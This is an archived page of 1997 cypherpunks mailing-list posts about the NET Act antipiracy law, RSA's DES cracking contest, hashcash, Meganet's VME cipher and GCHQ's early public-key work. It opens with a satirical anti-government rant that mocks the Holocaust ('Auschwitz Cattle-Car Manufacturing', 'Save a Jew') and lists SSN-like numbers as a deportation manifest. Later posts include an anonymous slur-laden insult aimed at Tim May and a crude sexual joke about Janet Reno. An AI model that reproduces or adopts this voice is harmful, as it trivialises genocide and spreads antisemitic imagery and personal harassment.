The History of InfoNumbers

Numbers were made for counting.
Counting was made for keeping track of...
InfoNumbers are made for accounting purposes.

FRESH FROM THE CLUESERVER!!!
Unencumbered knowledge is freedom to evolve.
Encumbered knowledge is captivity in statist prisons.
Numbers are not Knowledge. Numbers are Statistics.
Humans need knowledge. Machines need numbers.

                         "The Medium is the Message"

Quake is fractal. Quicken is linear.
The eyes are the gateway to the soul. Biometrics captures your soul.
InfoNumbers are Information. Information is not InfoNumbers.

Who Needs Traceable, Encumbered Information?
Information Nazis.
Information Census Takers.
Information Tax Collectors.
Information Gestapo.
Information Jailers.
Information Executioners.

Jews For Just-Us Protection Society:
Biometric Identification to protect only Jewish children.
Biometric Identification to protect only Jewish financial transactions.
"We're from the government and we're here to Biometrically Identify you in
order to help you."

[Disclaimer: Jews For Just-Us Protection Society is a fully licensed
charitable subsidiary of the Yellow Star Biometrics Corporation, a Division
of Auschwitz Cattle-Car Manufacturing, Inc.]

               Who controls the Shadow Government? The Shadow!

                                 Anti-Christ
                                 Anti-Chri$t
                                Anti-Chris$$t
                                Anti-Chri$$$t
                          Anti-Chri$$$,$$$,$$$,$$$t

Who knows what currency lurks in the bank accounts of men? The Shadow knows!

Numbers are for counting.
Counting is for accounting.
Numbers can be held accountable.
Are you a number?

Passenger Manifesto / Cattle-Car #17 / Departing at 4:54 a.m.

054-38-2961
293-82-9764
429-67-8342
...

                       "Save a Jew. Encrypt a Number!"

Humans need information to survive. Governments need controlled information
to survive.
Humans need mobility to survive. Governments need statism to survive.
Humans need physical identity to survive. Governments need physical
identification to survive.
Humans need emotion to survive. Governments need obedience to survive.
Humans need soul to survive. Governments need InfoNumbers to survive.

Humans need spirit to survive. Governments need control to survive.

InfoWarriors blow bridges out from under the troop trains on the Information
Highway.
InfoWarriors route around armed checkpoints on the Information Highway.
InfoWarriors infiltrate enemy camps on the Information Highway.
InfoWarriors wreck or confiscate enemy munitions on the Information Highway.
InfoWarriors generate their own numbers.

Church of PGP / Campfire Songs
"I don't care if it rains or freezes,
As long as I've got my CryptoJesus,
Sitting on the laptop on my desk.
"Threatening PRES, but he can't floor me,
As long as PRZ don't backdoor me,
Giving out my cleartext to the Feds."

"I turned my children over to the government, and all I got was this digital
implant"

   Humanity needs children, to survive. Fascism needs *your* children, to
                                  survive.
----------------------------------------------------------------------------

                         "Teach your children well..."

                       ~Crosby, Stills, Nash & Bianca
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 18 Dec 1997 01:39:52 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: <Pine.GSO.3.95.971217073940.7460P-100000@well.com>
Message-ID: <Pine.SUN.3.96.971217123112.22334P-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 17 Dec 1997, Declan McCullagh wrote:

>         Piloted through Congress by the deep pockets of the software,
>    motion picture and recording industries, the law punishes unapproved
>    "reproduction or distribution" of books, magazines, software, music or
>    videos. The painful penalties must bring a smile to the face of
>    software executives: fines of up to $250,000 and five years in federal
>    prison.

Let's see, you record a Bevis and Butthead marathon on MTV one night
because you aren't home and watch it, then let your friend borrow it and
you're in jail.

You have a CD player at home and use a walkwan when walking around, so you
tape your CD's so you can listen to them. Wham! Instant jail time.

So that pretty much puts 75% of those who own a walkman and a stereo
system in jail.

Kids copying articles out of magazines (or industry newsletters) in
libraries or university libraries wind up in jail.  That's about 99% of
anyone going to college (the 1% would be the ones that go for frats and
kegs only and can't read.)

Where does Fair Use fall into this?  Do you have the actual wording of
this law?  So if some dork publisher decides that you can't download their
shareware/freeware after the fact because he doesn't like you, he can say
it wasn't approved?



=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bruce Balden" <balden@mail.bc.rogers.wave.ca>
Date: Thu, 18 Dec 1997 05:16:02 +0800
To: <jya@pipeline.com>
Subject: Re: VME As AES?
Message-ID: <01bd0b2e$23b97600$69737018@eudoxus.bc.rogers.wave.ca>
MIME-Version: 1.0
Content-Type: text/plain



I don't suppose the instinctive avoidance of security by obscurity
(validated by many problems in the past, especially the Enigma cipher used
by the Wehrmacht) has penetrated the great cryptographic minds o Meganet?

-----Original Message-----
From: John Young <jya@pipeline.com>
To: cypherpunks@toad.com <cypherpunks@toad.com>
Date: Wednesday, December 17, 1997 12:13 PM
Subject: VME As AES?


>PR Newswire, December 17, 1997:
>
>Los Angeles -- IBM telephoned Meganet Corporation ten days ago
>after reviewing the Virtual Matrix Encryption (VME) algorithm and
>highly recommended the VME technology to be the national
>standard for data encryption, reported Meganet. The IBM
>spokesperson from the Security Technology Division requested
>immediate submission of VME to the National Institute of Standards
>& Technology and the Institute of Electrical & Electronic Engineers to
>facilitate the standardization. Obviously, Meganet's claim that their
>VME technology is completely impenetrable has garnered much
>support.
>
>Source: Meganet Corporation. http://www.meganet.com
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rose Aguilar <rosea@cnet.com>
Date: Thu, 18 Dec 1997 05:24:58 +0800
To: pooh@efga.org>
Subject: Re: Clinton signs draconian antipiracy law, from the Netly News
Message-ID: <3.0.32.19971217131646.0072070c@cnet5.cnet.com>
MIME-Version: 1.0
Content-Type: text/plain




>
>Just what is the meaning of "Willful" in this context?
>

We asked Rep. Goodlatte that question in today's 1:00 CNET Radio show.
I would paraphrase his answer, but it's a 10 minute interview so check it out.

http://www.radio.com/


-Rose




CNET Radio Reporter/Producer 
150 Chestnut St.
San Francisco, CA  94111 
415/395-7800 X 1227
Fax: 415/395-7815
http://www.radio.com/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 18 Dec 1997 05:27:29 +0800
To: cypherpunks@Algebra.COM
Subject: Re: UK spooks invent RSA, DH in 1973
In-Reply-To: <199712171946.OAA08750@homeport.org>
Message-ID: <v03102801b0bde1dc0110@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:20 PM -0700 12/17/97, Jim Burnes wrote:
>On Wed, 17 Dec 1997, Adam Shostack wrote:
>
>> Jim Burnes wrote:
>>
>> | >      http://jya.com/ellisdoc.htm
>> |
>> | Can patents be revoked due to prior art arguments?
>>
>> 	I think its a really bad precedent to revoking patents based
>> on the basis of secret documents released after the fact.  If you
>> believe in patents, then having your work nullifiable by government
>> claims is a bad idea.
>
>I was not advocating that they should be revoked, just curious
>as to whether they could be.
>
>But your analysis makes sense.  It would be simple for the
>government, within the context of the secrets act, to simply
>crank out phony secrets and destroy the financial viability
>of companies they don't like.

The rationale involves a lot more than just the _government_ doing this. If
patents are to make any sense at all, then there cannot be a continuing
series of "disclosures" of private diaries, private letters, lab notebooks,
and other items unavailable for public examination at the time the patent
was granted.

(I'm not defending patents. I believe they've outlived their usefullness.
And technology has made them easy to evade. Etc. Another topic.)

"Submarine" patents are especially odious. (Where applicants keep amending
their claims to cover new developments, all in secret. This was how the
_alleged_ "inventor of the microprocessor" was able to amend his
application for almost 20 years before the Patent Office in their ignorance
granted him a patent!)

The forgery issue (e.g., people backdating reports or modifying old papers)
is of course solvable with digital time-stamping services, though the
"brilliant penny scam" remains a concern.

(BPS--register or time-stamp N variants of some idea, and then only reveal
the particular variant one wishes, showing one to have invented something,
or predicted the future, etc. When it costs little or nothing to
register/stamp some instance, the BPS must always be a concern.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Thu, 18 Dec 1997 04:43:23 +0800
To: Adam Shostack <adam@homeport.org>
Subject: Re: UK spooks invent RSA, DH in 1973
In-Reply-To: <199712171946.OAA08750@homeport.org>
Message-ID: <Pine.LNX.3.95.971217131821.977B-100000@is-chief>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 17 Dec 1997, Adam Shostack wrote:

> Jim Burnes wrote:
> 
> | >      http://jya.com/ellisdoc.htm
> | 
> | Can patents be revoked due to prior art arguments?
> 
> 	I think its a really bad precedent to revoking patents based
> on the basis of secret documents released after the fact.  If you
> believe in patents, then having your work nullifiable by government
> claims is a bad idea.

I was not advocating that they should be revoked, just curious
as to whether they could be.

But your analysis makes sense.  It would be simple for the
government, within the context of the secrets act, to simply
crank out phony secrets and destroy the financial viability
of companies they don't like.

Interesting....

Jim






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Thu, 18 Dec 1997 02:40:19 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: <Pine.GSO.3.95.971217073940.7460P-100000@well.com>
Message-ID: <3.0.3.32.19971217133345.032b4d48@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 12:37 PM 12/17/97 -0500, Ray Arachelian wrote:
>Where does Fair Use fall into this?  Do you have the actual wording of
>this law?

Here is a copy of the law.

No Electronic Theft (NET) Act (Enrolled Bill (Sent to President)) 
H.R.2265 
One Hundred Fifth Congress
of the
United States of America
AT THE FIRST SESSION

Begun and held at the City of Washington on Tuesday, the seventh day of
January, one thousand nine hundred and ninety-seven 

An Act 

To amend the provisions of titles 17 and 18, United States Code, to provide
greater copyright protection by amending criminal copyright infringement
provisions, and for other purposes. 

     Be it enacted by the Senate and House of Representatives of the United
States of America in Congress assembled,

SECTION 1. SHORT TITLE.

     This Act may be cited as the `No Electronic Theft (NET) Act'.

SEC. 2. CRIMINAL INFRINGEMENT OF COPYRIGHTS.

     (a) DEFINITION OF FINANCIAL GAIN- Section 101 of title 17, United
States Code, is amended by inserting after the undesignated paragraph
relating to the term `display', the following new paragraph:

          `The term `financial gain' includes receipt, or expectation of
receipt, of anything of value, including the receipt of other copyrighted
works.'.

     (b) CRIMINAL OFFENSES- Section 506(a) of title 17, United States Code,
is amended to read as follows:

     `(a) CRIMINAL INFRINGEMENT- Any person who infringes a copyright
willfully either--

          `(1) for purposes of commercial advantage or private financial
gain, or

          `(2) by the reproduction or distribution, including by electronic
means, during any 180-day period, of 1 or more copies or phonorecords of 1
or more copyrighted works, which have a total retail value of more than
$1,000,

     shall be punished as provided under section 2319 of title 18, United
States Code. For purposes of this subsection, evidence
     of reproduction or distribution of a copyrighted work, by itself,
shall not be sufficient to establish willful infringement.'.

     (c) LIMITATION ON CRIMINAL PROCEEDINGS- Section 507(a) of title 17,
United States Code, is amended by striking `three' and inserting `5'.

     (d) CRIMINAL INFRINGEMENT OF A COPYRIGHT- Section 2319 of title 18,
United States Code, is amended--

          (1) in subsection (a), by striking `subsection (b)' and inserting
`subsections (b) and (c)';

          (2) in subsection (b)--

               (A) in the matter preceding paragraph (1), by striking
`subsection (a) of this section' and inserting `section 506(a)(1) of title
17'; and

               (B) in paragraph (1)--

                    (i) by inserting `including by electronic means,' after
`if the offense consists of the reproduction or distribution,'; and

                    (ii) by striking `with a retail value of more than
$2,500' and inserting `which have a total retail value of more than
$2,500'; and

          (3) by redesignating subsection (c) as subsection (e) and
inserting after subsection (b) the following:

     `(c) Any person who commits an offense under section 506(a)(2) of
title 17, United States Code--

          `(1) shall be imprisoned not more than 3 years, or fined in the
amount set forth in this title, or both, if the offense consists of the
reproduction or distribution of 10 or more copies or phonorecords of 1 or
more copyrighted works, which have a total retail value of $2,500 or more;

          `(2) shall be imprisoned not more than 6 years, or fined in the
amount set forth in this title, or both, if the offense is a second or
subsequent offense under paragraph (1); and

          `(3) shall be imprisoned not more than 1 year, or fined in the
amount set forth in this title, or both, if the offense consists of the
reproduction or distribution of 1 or more copies or phonorecords of 1 or
more copyrighted works, which have a total retail value of more than $1,000.

     `(d)(1) During preparation of the presentence report pursuant to Rule
32(c) of the Federal Rules of Criminal Procedure, victims of the offense
shall be permitted to submit, and the probation officer shall receive, a
victim impact statement that identifies the victim of the offense and the
extent and scope of the injury and loss suffered by the victim, including the
     estimated economic impact of the offense on that victim.

     `(2) Persons permitted to submit victim impact statements shall include--

          `(A) producers and sellers of legitimate works affected by
conduct involved in the offense;

          `(B) holders of intellectual property rights in such works; and

          `(C) the legal representatives of such producers, sellers, and
holders.'.

     (e) UNAUTHORIZED FIXATION AND TRAFFICKING OF LIVE MUSICAL
PERFORMANCES- Section 2319A of title 18, United States Code, is amended--

          (1) by redesignating subsections (d) and (e) as subsections (e)
and (f), respectively; and

          (2) by inserting after subsection (c) the following:

     `(d) VICTIM IMPACT STATEMENT- (1) During preparation of the
presentence report pursuant to Rule 32(c) of the Federal Rules of Criminal
Procedure, victims of the offense shall be permitted to submit, and the
probation officer shall receive, a victim impact statement that identifies
the victim of the offense and the extent and scope of the injury and loss
suffered by the victim, including the estimated economic impact of the
offense on that victim.

     `(2) Persons permitted to submit victim impact statements shall include--

          `(A) producers and sellers of legitimate works affected by
conduct involved in the offense;

          `(B) holders of intellectual property rights in such works; and

          `(C) the legal representatives of such producers, sellers, and
holders.'.

     (f) TRAFFICKING IN COUNTERFEIT GOODS OR SERVICES- Section 2320 of
title 18, United States Code, is amended--

          (1) by redesignating subsections (d) and (e) as subsections (e)
and (f), respectively; and

          (2) by inserting after subsection (c) the following:

     `(d)(1) During preparation of the presentence report pursuant to Rule
32(c) of the Federal Rules of Criminal Procedure, victims of the offense
shall be permitted to submit, and the probation officer shall receive, a
victim impact statement that identifies the victim of the offense and the
extent and scope of the injury and loss suffered by the victim, including
the estimated economic impact of the offense on that victim.

     `(2) Persons permitted to submit victim impact statements shall include--

          `(A) producers and sellers of legitimate goods or services
affected by conduct involved in the offense;

          `(B) holders of intellectual property rights in such goods or
services; and

          `(C) the legal representatives of such producers, sellers, and
holders.'.

     (g) DIRECTIVE TO SENTENCING COMMISSION- (1) Under the authority of the
Sentencing Reform Act of 1984 (Public Law 98-473; 98 Stat. 1987) and
section 21 of the Sentencing Act of 1987 (Public Law 100-182; 101 Stat.
1271; 18 U.S.C. 994 note) (including the authority to amend the sentencing
guidelines and policy statements), the United States Sentencing Commission
shall ensure that the applicable guideline range for a defendant convicted
of a crime against intellectual property (including offenses set forth at
section 506(a) of title 17, United States Code, and sections 2319, 2319A,
and 2320 of title 18, United States Code) is sufficiently stringent to
deter such a crime and to adequately reflect the additional considerations
set forth in paragraph (2) of this subsection.

     (2) In implementing paragraph (1), the Sentencing Commission shall
ensure that the guidelines provide for consideration of the retail value
and quantity of the items with respect to which the crime against
intellectual property was committed.

SEC. 3. INFRINGEMENT BY UNITED STATES.

     Section 1498(b) of title 28, United States Code, is amended by
striking `remedy of the owner of such copyright shall be by action' and
inserting `action which may be brought for such infringement shall be an
action by the copyright owner'.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Total Master" <ma5ter@hotmail.com>
Date: Thu, 18 Dec 1997 05:54:29 +0800
To: jehorton@erols.com
Subject: Re: Dr. Dobbs Crypto CD
Message-ID: <19971217214502.24943.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



The delay is because "the man" is adding backdoors to everything!  As 
usual, the beaurocracy is behind schedule (just like 1984 occuring  way 
late too).

Louie is trying to backdoor everything, Constitution be damned!  
Chelsie's father (Janet Reno) is in on it too, she loves the backdoor, 
given the proper tool!

ma5ter


----Original Message Follows----
I just got off the phone with DDJ - according to the sales person "the
editors are preparing a letter to explain the delay". 

Seems kind of strange that it is taking so long.  Of note - The sales
person indicated that there has been no mention of pulling the product.

Regards,
John Horton



Mike Gurski wrote:
> 
> Has anyone received their DDJ crypto CD that's been advertised for the
> past half year?
> 
> --
> Michael Gurski                            mailto:gurski@solipsys.com
> Solipsys Corporation                         http://www.solipsys.com
> 6100 Chevy Chase Drive, Suite 200                phone:(301)483-0423
> Laurel, MD  20707-2929                             fax:(301)483-8901



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Fri, 19 Dec 1997 01:50:01 +0800
To: phelix@vallnet.com
Subject: Re: message dependent hashcash => no double spend database  (Re:hashcash spam prevention & firewalls)
In-Reply-To: <3.0.3.32.19971214234241.03899220@mail.atl.bellsouth.net>
Message-ID: <v03102806b0bdff5466dc@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



>On 17 Dec 1997 02:21:48 -0600, in local.cypherpunks you wrote:
>Yes, but if you just phase it in over time, what benefit, if any, will
>users see until hashcash is fully deployed.  Until that time, people will
>still have to accept email without hashcash or risk losing important
>messages. 

If I want to send an important message to you and I get a hashcash rejection reponse and I'm given a Web site where I can get a Java applet to create the hashcash, I'll do it.  We all know we must affix postage to our snailmail. Its time to embrace the postal system's paradigm and educate the reminder of the Net.  Those who risk missing an email or two will totally stop their SPAM. Those who won't, won't.

>I don't see people adopting hashcash unless there is some intermediate
>benefit to doing so.

All we need is a small, influential, group to sing the praises of hashcash.  I'm sure Declan and Wired will pick up the banner if what we come up with works.  After that IETF activity is a far gone conclusion.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 18 Dec 1997 03:48:58 +0800
To: cypherpunks@toad.com
Subject: VME As AES?
Message-ID: <1.5.4.32.19971217193201.006b4454@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



PR Newswire, December 17, 1997:

Los Angeles -- IBM telephoned Meganet Corporation ten days ago 
after reviewing the Virtual Matrix Encryption (VME) algorithm and 
highly recommended the VME technology to be the national 
standard for data encryption, reported Meganet. The IBM
spokesperson from the Security Technology Division requested 
immediate submission of VME to the National Institute of Standards 
& Technology and the Institute of Electrical & Electronic Engineers to 
facilitate the standardization. Obviously, Meganet's claim that their 
VME technology is completely impenetrable has garnered much 
support.

Source: Meganet Corporation. http://www.meganet.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 18 Dec 1997 03:56:27 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: <Pine.GSO.3.95.971217073940.7460P-100000@well.com>
Message-ID: <v03007800b0bdda1834b5@[204.254.22.35]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:37 -0500 12/17/97, Ray Arachelian wrote:
>You have a CD player at home and use a walkwan when walking around, so you
>tape your CD's so you can listen to them. Wham! Instant jail time.

Yes, if you copy $1,000 worth of CDs within six months.

>Where does Fair Use fall into this?  Do you have the actual wording of
>this law?  So if some dork publisher decides that you can't download their
>shareware/freeware after the fact because he doesn't like you, he can say
>it wasn't approved?

You might want to read the rest of my article. I also link to the text of
the law. I suspect that your "dork publisher" example is not exactly
covered since the infringment has to be "willful." That is, you have to
KNOW that what you're doing is INDEED an infringment in order to be
convicted.

That does not mean it is a good law, of course. A better example might be
knowingly posting a copyrighted article (let's say, worth $1) to Usenet. As
soon as it's distributed around Usenet's thousands of NNTP servers --
Bingo! -- you're a federal felon.

The Scientologists, I predict, will love this law.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 18 Dec 1997 05:55:23 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: OTP
In-Reply-To: <199712171047.LAA28637@basement.replay.com>
Message-ID: <Pine.A41.3.95.971217144642.36306A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 17 Dec 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Tim C[ocksucker] May's abysmal grammar, atrocious spelling and feeble 
> responses clearly identify him as a product of the American education system.
> 
>           0
>         //\/ Tim C[ocksucker] May
>        \/\
>      ... /
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 18 Dec 1997 04:06:32 +0800
To: jim.burnes@ssds.com (Jim Burnes)
Subject: Re: UK spooks invent RSA, DH in 1973
In-Reply-To: <Pine.LNX.3.95.971217101817.423B-100000@is-chief>
Message-ID: <199712171946.OAA08750@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



Jim Burnes wrote:

| >      http://jya.com/ellisdoc.htm
| 
| Can patents be revoked due to prior art arguments?

	I think its a really bad precedent to revoking patents based
on the basis of secret documents released after the fact.  If you
believe in patents, then having your work nullifiable by government
claims is a bad idea.

	The work of DH and RSA was clearly original and non-obvious.
Since the government grants software patents, DH and RSA are
patentable.  I'm not claiming that the Ellis paper is a hoax, but
consider this scenario--Cypherpunks Alice and Bob bought the RSA
patent in 1980.  Incorporate a Cayman Islands company to sell the
patent rights.  Sells to millions of cypherpunks on a non
discriminatory basis.  They're getting ready for an IPO.  Uncle Sam,
who readlly dislikes Alice and Bob, releases a document showing prior
art.  The patent is thrown out, along with Alice & Bob's plans to
retire.


	Allowing this sort of thing is clearly not in the interests of
rule of law.  No process of discovery could reasonably have expected
to turn up these formerly classified documents.  Alice, Bob, their
investors, can not evaluate the value of their patents because Uncle
Sam can destroy them with small forgeries.

	Feh!

Adam



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Thu, 18 Dec 1997 04:28:23 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: <Pine.SUN.3.96.971217123112.22334P-100000@beast.brainlink.com>
Message-ID: <3.0.3.32.19971217151433.03761a10@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 02:42 PM 12/17/97 -0500, Declan McCullagh wrote:
>since the infringment has to be "willful." That is, you have to
>KNOW that what you're doing is INDEED an infringment in order to be
>convicted.

Section 506(a) of title 17, United States Code, is amended to read as follows:
Any person who infringes a copyright willfully ....

I know this has been discussed before, but I am unclear as to what are the
differences between "willfully" and other concepts, such as "knowingly."  I
wish one of the lawyer types on here could clarify this some more.  If
willful means that you know what you are doing, then it might narrow the
law some.  You would have to know the work was copyrighted, and you would
have to know that the copying is not allowed by law.

I'm confused by the law as it seems to make some actions criminal that I
cannot conceive were meant to be criminal.  Since I know that by surfing
the web and being on mail lists, and using usenet, I will exchange copies
of copyrighted works I am confused by this new law's affirmation that I am
participating in "financial gain" by reading web pages and the like.  Since
I am confused, perhaps my actions are not willful?

Just what is the meaning of "Willful" in this context?


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Thu, 18 Dec 1997 04:25:43 +0800
To: cypherpunks@Algebra.COM
Subject: RSA's New Contest -- Crack DES Faster, Faster, Faster!!
Message-ID: <v0300780bb0bde3991e7a@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain



	RSADSI today announced a new multiple-stage contest which will
reward those who crack DES ciphertext more quickly than other contestants.
See: http://www.rsa.com/rsalabs/

	"Our original DES Challenge showed DES was crackable using an
exhaustive search attack," said Jim Bidzos, president of RSA. "Now the goal
is to see how quickly an exhaustive search attack can be accomplished to
help judge the true vulnerability of DES...."

	As the feds begin, ever so slowly, the process of selecting a
replacement for DES, the RSA contest seem likely to both document and
illustrate how quickly DES can be cracked.  Bidzos, continuing his campaign
to be nominated MAF (Most Admired Fellow) at Ft. Meade,  announced that the
first "DES Challenge II" contest would be launched at 9:00 AM (PST) -- just
before the start of the annual RSA Data Security Conference in S.F.

	"The goal of each contest is not only to recover the secret key
used to DES-encrypt a plain-text message, but to do so faster than previous
winners in the series," explained an RSA press release.

	"As before, a cash prize will be awarded for the first correct
entry received. Unlike previous contests, the amount of the prize will be
based on how quickly the key is recovered. "

	RSA's T&Cs for DES Challenge II:

"Twice a year, on January 13 and July 13, at 9:00 A.M. Pacific time, a
new contest will be posted on the home page of RSA's Web site
(http://www.rsa.com).

"The contest will consist of the ciphertext produced by DES-encrypting some
unknown plain-text message that has a fixed and known message header. The
secret key will be generated at random and then destroyed within the
contest-generating software so that no one, not even the contest
administrators, will know what it is.

"The first entrant to recover the key wins, but the amount of the prize
will depend on how fast the key was recovered.

"If the time required is less than or equal to 25 percent of the previous
winner's time, the prize is $10,000. If the time is greater than 25
percent, but less than or equal to 50 percent of the previous winner's
time, the prize is $5,000. Finally, if the time is greater than 50 percent,
but less than
or equal to 75 percent of the previous winner's time, the prize is
$1,000. There is no prize for times greater than 75 percent of the
previous winner's time.

"The 'previous winner's' time that will be used for the first contest is 90
days."

"Cryptography is like literacy in the Dark Ages. Infinitely potent, for
good and ill... yet basically an intellectual construct, an idea, which by
its nature will resist efforts to restrict it to bureaucrats and others who
deem only themselves worthy of such Privilege."
_ A thinking man's Creed for Crypto/ vbm.

 *     Vin McLellan + The Privacy Guild + <vin@shore.net>    *
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Thu, 18 Dec 1997 04:39:16 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: <3.0.1.32.19971217115156.00e83da0@dnai.com>
Message-ID: <3.0.3.32.19971217152549.039569f0@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 12:08 PM 12/17/97 -0800, Declan McCullagh wrote:
>Note that the law is medium-independent. That is, it just talks about
>"copyrighted works." So if you copy a few videocassettes, a few CDs, a few
>magazine articles, the Feds can still get you if the total value is over
>$1,000. 
>
>And yes, of course, it's just one or two pieces of software. In my article
>I said three copies of Microsoft Office ($360 at local computer stores).

The law covers not only copies, but derivative works apparently.
Derivative works can violate the exclusive rights of the copyright holder.
If for instance I install software on a regular basis, but don't like the
slow MS installation routine, I can reverse engineer the process and
provide a derivative work that installs better.  

I have infact done this before and used the process to personally install
software on over 1,500 machines.  My thought has always been if the owner
of the machine had a license for the original software, my derivative work
that is preconfigured would be no harm in installing.  I've never bothered
to break the shrinkwrap each time I install software.  Under this law such
a thing would be considered a criminal act.  

A policeman observing me doing this copying of derivative works (whether or
not I had a license to make such a derivative work) could arrest me on sight.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Fri, 19 Dec 1997 01:59:39 +0800
To: Vicente Silveira <adam@homeport.org>
Subject: Re: UK spooks invent RSA, DH in 1973
In-Reply-To: <199712171946.OAA08750@homeport.org>
Message-ID: <v03102807b0be18de66e0@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:14 PM -0200 12/18/1997, Vicente Silveira wrote:
>Adam Shostack wrote:
>> 
>> Jim Burnes wrote:
>> 
>> | >      http://jya.com/ellisdoc.htm
>> |
>> | Can patents be revoked due to prior art arguments?
>> 
>>         I think its a really bad precedent to revoking patents based
>> on the basis of secret documents released after the fact.  If you
>> believe in patents, then having your work nullifiable by government
>> claims is a bad idea.
>> ...
>
>Maybe in the future this could be possible ... Let's say that
>NSA does hashes of all their scientific papers and timestamp
>them with some third party recognized company. This way NSA would
>be able to prove that they had an original idea even if they claim
>this only after someone else has reinvented it.

I believe the GATT we signed prohibits so-called submarine patents which are  filed or issued significantly after their date of inception, frequently due to delaying tactics by the filer in the patent office.  If so, no gov't newly filed claims should affect the issued patents.

--Steve

PGP mail preferred, see  	http://www.pgp.com and
				http://web.mit.edu/network/pgp.html

